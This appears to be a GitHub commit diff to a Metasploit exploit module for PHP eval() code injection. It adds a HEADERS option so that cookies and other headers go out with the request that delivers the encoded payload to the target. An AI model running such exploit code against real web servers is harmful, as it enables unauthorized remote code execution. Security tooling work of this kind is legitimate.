Skip to content

Commit b8f56d1

Browse files
author
Brent Cook
committed
Land rapid7#8698, Add HEADERS to php_eval module
2 parents 9fdf2ca + 55cbd9b commit b8f56d1

File tree

1 file changed

+15
-3
lines changed

1 file changed

+15
-3
lines changed

modules/exploits/unix/webapp/php_eval.rb

Lines changed: 15 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -45,6 +45,7 @@ def initialize(info = {})
4545
register_options(
4646
[
4747
OptString.new('URIPATH', [ true, "The URI to request, with the eval()'d parameter changed to !CODE!", '/test.php?evalme=!CODE!']),
48+
OptString.new('HEADERS', [false, "Any additional HTTP headers to send, cookies for example. Format: \"header:value,header2:value2\""])
4849
])
4950

5051
end
@@ -60,6 +61,18 @@ def check
6061
return Exploit::CheckCode::Safe
6162
end
6263

64+
def datastore_headers
65+
headers = datastore['HEADERS'] ? datastore['HEADERS'].dup : ""
66+
headers_hash = {}
67+
if headers && !headers.empty?
68+
headers.split(',').each do |header|
69+
key, value = header.split(':')
70+
headers_hash[key] = value.strip
71+
end
72+
end
73+
headers_hash
74+
end
75+
6376
def exploit
6477
# very short timeout because the request may never return if we're
6578
# sending a socket payload
@@ -75,10 +88,9 @@ def exploit
7588
response = send_request_raw({
7689
'global' => true,
7790
'uri' => uri,
78-
'headers' => {
91+
'headers' => datastore_headers.merge(
7992
headername => payload.encoded,
80-
'Connection' => 'close'
81-
}
93+
'Connection' => 'close')
8294
},timeout)
8395
if response and response.code != 200
8496
print_error("Server returned non-200 status code (#{response.code})")

0 commit comments

Comments
 (0)